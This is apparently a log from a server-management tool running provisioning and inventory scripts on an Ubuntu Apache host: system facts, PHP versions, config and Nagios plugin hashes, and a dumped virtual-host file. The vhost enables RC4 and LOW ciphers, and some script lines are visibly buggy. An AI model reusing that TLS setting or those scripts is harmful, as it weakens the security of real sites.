----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p /var/log/apache2/carelinks
mkdir -p $DOCROOT/$PUBLIC
chown -R phil:phil $DOCROOT
ln -s "..//etc/apache2/sites-enabled/carelinks_new_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/carelinks_new_net.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinks_new_net.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinks_new_net.conf= 1'
fi
2025-12-29 21:54:19:
chmod 755 /tmp/pkp458202; /tmp/pkp458202; rm /tmp/pkp458202
2025-12-29 21:54:19:
2025-12-29 21:54:19:
PUT: /tmp/pkp908943
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-29 21:54:19:
chmod 755 /tmp/pkp908943; /tmp/pkp908943; rm /tmp/pkp908943
2025-12-29 21:54:19:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-29 21:54:19: Performing Server Status
2025-12-29 21:54:19:
PUT: /tmp/pkp260849
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
show_hostname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
hostname >> $temp_file
echo >> $temp_file
}
show_arc() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -m >> $temp_file
echo >> $temp_file
}
show_uname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -r -s >> $temp_file
echo >> $temp_file
}
if [ -f /etc/centos-release ]; then
show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
show_file /proc/swaps
fi
show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'
gzip -cn9 $temp_file
rm $temp_file
2025-12-29 21:54:19:
chmod 755 /tmp/pkp260849; /tmp/pkp260849; rm /tmp/pkp260849
2025-12-29 21:54:19:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename Type Size Used Priority
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
mars
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-90-generic
2025-12-29 21:54:19:
PUT: /tmp/pkp872245
#!/bin/bash
# get service version
apache_output() {
sub_file=$(mktemp)
script -q -c "$1 -V" $sub_file
cat $sub_file
rm $sub_file
}
apache_output2() {
$1 -V
}
apachectl_output() {
temp_file=$(mktemp)
apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
pid=`cat $file`;
cat $temp_file
rm $temp_file
# also get user/group
echo pid: $pid
if [ -d "/etc/apache2/sites-available" ]; then
echo available=sites-available
elif [ -d "/etc/apache2/hosts.d" ]; then
echo available=hosts.d
elif [ -d "/etc/apache2/conf.d" ]; then
echo available=conf.d
fi
echo [ps]
ps up $pid
}
apachectl_enabled() {
temp_file=$(mktemp)
apachectl -t -D DUMP_MODULES > $temp_file 2>&1
echo [modules]
cat $temp_file
rm $temp_file
}
if [[ "$OSTYPE" == "darwin"* ]]; then
echo [apache2]
apache_output2 /usr/sbin/httpd
elif [ -e "/usr/sbin/httpd" ]; then
echo [httpd]
apache_output /usr/sbin/httpd
if [ -d "/etc/httpd/conf.d" ]; then
echo available=conf.d
fi
fi
if [ -e "/usr/sbin/apache2" ]; then
echo [apache2]
source /etc/apache2/envvars
apache_output2 /usr/sbin/apache2
apachectl_output
apachectl_enabled
fi
2025-12-29 21:54:19:
chmod 755 /tmp/pkp872245; /tmp/pkp872245; rm /tmp/pkp872245
2025-12-29 21:54:20:
[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built: 2025-08-11T11:10:09
Server's Module Magic Number: 20120211:129
Server loaded: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture: 64-bit
Server MPM: prefork
threaded: no
forked: yes (variable process count)
Server compiled with....
-D APR_HAS_SENDFILE
-D APR_HAS_MMAP
-D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
-D APR_USE_PROC_PTHREAD_SERIALIZE
-D APR_USE_PTHREAD_SERIALIZE
-D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
-D APR_HAS_OTHER_CHILD
-D AP_HAVE_RELIABLE_PIPED_LOGS
-D DYNAMIC_MODULE_LIMIT=256
-D HTTPD_ROOT="/etc/apache2"
-D SUEXEC_BIN="/usr/lib/apache2/suexec"
-D DEFAULT_PIDLOG="/var/run/apache2.pid"
-D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
-D DEFAULT_ERRORLOG="logs/error_log"
-D AP_TYPES_CONFIG_FILE="mime.types"
-D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 297670
available=sites-available
[ps]
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 297670 0.0 0.9 302320 36780 ? Ss 21:39 0:00 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
core_module (static)
so_module (static)
watchdog_module (static)
http_module (static)
log_config_module (static)
logio_module (static)
version_module (static)
unixd_module (static)
access_compat_module (shared)
alias_module (shared)
auth_basic_module (shared)
authn_core_module (shared)
authn_file_module (shared)
authz_core_module (shared)
authz_host_module (shared)
authz_user_module (shared)
autoindex_module (shared)
deflate_module (shared)
dir_module (shared)
env_module (shared)
filter_module (shared)
headers_module (shared)
mime_module (shared)
mpm_prefork_module (shared)
negotiation_module (shared)
php_module (shared)
proxy_module (shared)
proxy_fcgi_module (shared)
reqtimeout_module (shared)
rewrite_module (shared)
setenvif_module (shared)
socache_shmcb_module (shared)
ssl_module (shared)
status_module (shared)
2025-12-29 21:54:20:
SERVER INFO (php_model): array (
'debian' => 1,
'redhat' => 0,
'name' => 'mars',
'arch' => 'x86_64',
'raspbian' => 0,
'osdesc' => 'Ubuntu 24.04.3 LTS',
'rel' => '24.04.3',
'mac' => 0,
'distro' => 'ubuntu',
'web' =>
array (
'apache2' =>
array (
'conf' => 'apache2.conf',
'config' => '/etc/apache2',
'user' => 'www-data',
'group' => 'www-data',
'available' => 'sites-available',
'running' => 1,
),
'modules' =>
array (
0 => 'core_module',
1 => 'so_module',
2 => 'watchdog_module',
3 => 'http_module',
4 => 'log_config_module',
5 => 'logio_module',
6 => 'version_module',
7 => 'unixd_module',
8 => 'access_compat_module',
9 => 'alias_module',
10 => 'auth_basic_module',
11 => 'authn_core_module',
12 => 'authn_file_module',
13 => 'authz_core_module',
14 => 'authz_host_module',
15 => 'authz_user_module',
16 => 'autoindex_module',
17 => 'deflate_module',
18 => 'dir_module',
19 => 'env_module',
20 => 'filter_module',
21 => 'headers_module',
22 => 'mime_module',
23 => 'mpm_prefork_module',
24 => 'negotiation_module',
25 => 'php_module',
26 => 'proxy_module',
27 => 'proxy_fcgi_module',
28 => 'reqtimeout_module',
29 => 'rewrite_module',
30 => 'setenvif_module',
31 => 'socache_shmcb_module',
32 => 'ssl_module',
33 => 'status_module',
),
),
)
2025-12-29 21:54:20:
PUT: /tmp/pkp486921
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
if [ ! -f "/usr/bin/add-apt-repository" ]; then
apt-get -y install software-properties-common > $temp_file 2>&1
fi
apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C > $temp_file 2>&1
add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
apt-get update > $temp_file 2>&1
fi
echo $BOUNDARY >> $temp_file
echo apt-get >> $temp_file
apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
echo >> $temp_file
fi
gzip -cn9 $temp_file
rm $temp_file
2025-12-29 21:54:20:
chmod 755 /tmp/pkp486921; /tmp/pkp486921; rm /tmp/pkp486921
2025-12-29 21:54:20:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)
2025-12-29 21:54:20:
PUT: /tmp/pkp937003
#!/bin/bash
dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php5.6]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.0]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.0]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.5]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.5]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
2025-12-29 21:54:20:
chmod 755 /tmp/pkp937003; /tmp/pkp937003; rm /tmp/pkp937003
2025-12-29 21:54:20:
[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.28
[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.28
[php8.4]
php=/usr/bin/php8.4
fpm=/etc/php/8.4/fpm/pool.d
version=8.4.16
2025-12-29 21:54:20:
PUT: /tmp/pkp809074
#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def collectCfgFiles(filename):
config = []
f = open(filename, 'r')
file = f.readlines()
for v in file:
v = v.rstrip()
if v != '' and v[0] != '#':
p = v.find('=')
if p > -1:
key = v[:p].strip()
value=v[p+1:].strip()
if key == 'cfg_file':
config.append(value)
f.close()
return config
def generate_hash(filename, type = 'MD5'):
digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
payload = type + '(' + filename + ')= ' + digest + "\n"
gz.write(payload.encode('cp437'))
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/check*')
for filename in filelist:
generate_hash(filename, 'bin')
return
try:
try:
filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
for file in filelist:
generate_hash(file)
except:
pass
scan_folder('/usr/local/nagios/libexec')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-29 21:54:20:
chmod 755 /tmp/pkp809074; /tmp/pkp809074; rm /tmp/pkp809074
2025-12-29 21:54:20:
(gzipped output)
bin(/usr/local/nagios/libexec/check_real)= 5e19b5c5e40d6e40d16e3505da57cb05
bin(/usr/local/nagios/libexec/check_ssh)= 7eb26e24dd1a42d22604ce66244caa14
bin(/usr/local/nagios/libexec/check_ntp_time)= ce45c72f86257b3227330cdf654bb241
bin(/usr/local/nagios/libexec/check_dummy)= 9059e3043eb48f4de81b72d7b0951b8d
bin(/usr/local/nagios/libexec/check_ssmtp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_pop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_imap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_wave)= 588c42d881cec26eea20887eb7623192
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4e4ee59fada8b591e57cb93b33f1c085
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_ifstatus)= 56e28d6c53150a0c44f7e787d85b7214
bin(/usr/local/nagios/libexec/check_rpc)= 55ecb23b0cecfbdae0d6992bafa076e7
bin(/usr/local/nagios/libexec/check_simap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ide_smart)= 0cee3da97cc6ea0e77032283737a7f93
bin(/usr/local/nagios/libexec/check_breeze)= 543a2238e7ae9adcb040b2a635b6ce81
bin(/usr/local/nagios/libexec/check_dns)= e026bfbb50a3ed080497cf86304af190
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_ntp)= ef86f455d0dd980f5bf465d501a1ee24
bin(/usr/local/nagios/libexec/check_nagios)= 16f78531ef10d8bd815637619ad8810f
bin(/usr/local/nagios/libexec/check_overcr)= 6347d00b93fd427d3aeb5bec85284eb1
bin(/usr/local/nagios/libexec/check_nntp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_spop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ftp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_oracle)= 9017feb302cac9c1882dd3d2a7371f68
bin(/usr/local/nagios/libexec/check_swap)= 7d1237348d1b008206ef0efcf16e0964
bin(/usr/local/nagios/libexec/check_sensors)= 4694b2d104a9c9c1d500404e08810ab2
bin(/usr/local/nagios/libexec/check_jabber)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_by_ssh)= e005655c209de4e02d7c15dee194b5ef
bin(/usr/local/nagios/libexec/check_udp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_dig)= 94fc177ae79310de86dea510479a152a
bin(/usr/local/nagios/libexec/check_http)= 6568222b2189dca9bbaf20a9975f85ca
bin(/usr/local/nagios/libexec/check_nt)= 9708478e65a9716ed2e8d1aa50b54db5
bin(/usr/local/nagios/libexec/check_disk_smb)= dd9ec10a3f651d4bb85d452e8a001408
bin(/usr/local/nagios/libexec/check_mrtg)= 37f24463db28f6a36a5768b16c1031ed
bin(/usr/local/nagios/libexec/check_clamd)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_users)= ab663ac97799aed910e34f86e5c855a4
bin(/usr/local/nagios/libexec/check_ircd)= eb49495402862ca1099bdfd818306243
bin(/usr/local/nagios/libexec/check_procs)= f29608085acf9a38f234c0633dc2dc9c
bin(/usr/local/nagios/libexec/check_log)= 74401f254cd3b3b9238b9b71d362ec50
bin(/usr/local/nagios/libexec/check_mailq)= b1a6343b9f983e685559dd629c5242cf
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= c3efb603d314713069ac36e56601783e
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 862b0b548b97639ba427d77d6cb71357
bin(/usr/local/nagios/libexec/check_tcp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= 6677ebd71abab66b6f0c50d71e35c286
bin(/usr/local/nagios/libexec/check_time)= b370fd03db2fa24b3009eefd517679ad
bin(/usr/local/nagios/libexec/check_smtp)= d3ee9c6688d0c78a4226d8c00d4e906f
bin(/usr/local/nagios/libexec/check_ping)= 58e5bf40f290b978930addeae210dad9
bin(/usr/local/nagios/libexec/check_flexlm)= 1dea6dadb259a5b53aeb31f64650ffb1
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= b8e413a332691789bcee09b1d0f29f78
bin(/usr/local/nagios/libexec/check_disk)= b0caf9f66b7d4887f9c3919c43183426
bin(/usr/local/nagios/libexec/check_uptime)= 10f6dd18860423bd8500f4b83ea64933
bin(/usr/local/nagios/libexec/check_icmp)= c1fa73d619604ec52d01e46a576a1bd3
bin(/usr/local/nagios/libexec/check_nntps)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_load)= adaa7c893c89d114b45043d3b8ab64bf
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 3599b505059ecf7a1838782dae75d82f
bin(/usr/local/nagios/libexec/check_ups)= e60fb0dd7c6d47261deaed95074ed052
bin(/usr/local/nagios/libexec/check_file_age)= d45ede358999e4b9a7784006ca507715
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= 05ce7fcaa48ebfccf353943bad4101ca
2025-12-29 21:54:20:
PUT: /tmp/pkp194599
#!/bin/bash
install=
if [ -f "/usr/bin/yum" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
install="$install openssl"
fi
rpm -qi mod_ssl > /dev/null 2>&1
retVal=$?
if [ $retVal -ne 0 ]; then
install="$install mod_ssl"
fi
if [ ! -z $install ]; then
yum -y install $install
systemctl restart apache2
echo status=restarted
else
echo status=ok
fi
elif [ -f "/usr/bin/apt-get" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
apt-get update
apt-get -y install openssl
fi
if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
a2enmod -q ssl
systemctl restart apache2
fi
echo status=ok
fi
2025-12-29 21:54:20:
chmod 755 /tmp/pkp194599; /tmp/pkp194599; rm /tmp/pkp194599
2025-12-29 21:54:20:
status=ok
2025-12-29 21:54:20:
PUT: /tmp/pkp314337
#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def generate_hash_certificate(content, folder):
file = content.split("\n")
for v in file:
v = v.strip()
if v != '' and v[0] != '#':
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
if match is not None:
filename = match.group(1)
filename = normalize_path(folder, filename, True)
generate_hash(filename, folder)
def normalize_path(basepath, relativepath, isFile):
if relativepath[:1] == '/':
return relativepath
if isFile:
basename = os.path.basename(relativepath)
relativepath = os.path.dirname(relativepath)
else:
basename = ''
basepath = basepath.split('/')
relativepath = relativepath.split('/')
for element in relativepath:
if element == '..':
basepath.pop()
elif element != '.' and element != '':
basepath.append(element)
basepath = '/'.join(basepath)
if basename != '':
basepath += '/' + basename
return basepath
def generate_hash(filename, folder):
if os.path.islink(filename):
target = os.readlink(filename)
target = normalize_path(folder, target, True)
payload = 'link(' + filename + ')= ' + target + "\n"
gz.write(payload.encode('cp437'))
return
content = open(filename).read()
filehash = hashlib.md5()
filehash.update(content.encode('cp437'))
payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
gz.write(payload.encode('cp437'))
lower_content = content.lower()
if lower_content.find('sslcertificatefile') > -1:
generate_hash_certificate(content, folder)
return
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/*.conf')
for filename in filelist:
generate_hash(filename, folder)
return
try:
APACHE_ROOT = '/etc/apache2'
scan_folder(APACHE_ROOT)
scan_folder(APACHE_ROOT + '/conf.d')
scan_folder(APACHE_ROOT + '/conf.modules.d')
scan_folder(APACHE_ROOT + '/sites-available')
scan_folder(APACHE_ROOT + '/sites-enabled')
scan_folder(APACHE_ROOT + '/hosts.d')
finally:
gz.close()
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-29 21:54:21:
chmod 755 /tmp/pkp314337; /tmp/pkp314337; rm /tmp/pkp314337
2025-12-29 21:54:21:
2025-12-29 21:54:21:
PUT: /tmp/pkp805709
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-available/carelinks_new_net.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-29 21:54:21:
chmod 755 /tmp/pkp805709; /tmp/pkp805709; rm /tmp/pkp805709
2025-12-29 21:54:21:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/carelinks_new_net.conf 1316
<VirtualHost *:80>
ServerName new.carelinks.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinks_new
<Directory /var/www/carelinks_new>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/new_access.log combined
ErrorLog /var/log/apache2/carelinks/new_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName new.carelinks.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt
DocumentRoot /var/www/carelinks_new
<Directory /var/www/carelinks_new>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/new_secure_access.log combined
ErrorLog /var/log/apache2/carelinks/new_secure_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
(gzipped output)
MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/croydonchurch_www_info.conf)= de5778253e92019758e42ba4bd5e8ed5
MD5(/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt)= a1aba36d5064005600a72aab79017da9
MD5(/etc/apache2/sites-available/maminas_www_info.conf)= 9cc34fbadf9246b60a8c82e2f423c9e9
MD5(/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt)= 74a225c1691d3c388c0dabd4c745b5b5
MD5(/etc/apache2/sites-available/carelinks_new_net.conf)= 84c5ee5f8727ea3268da64cde6a78cad
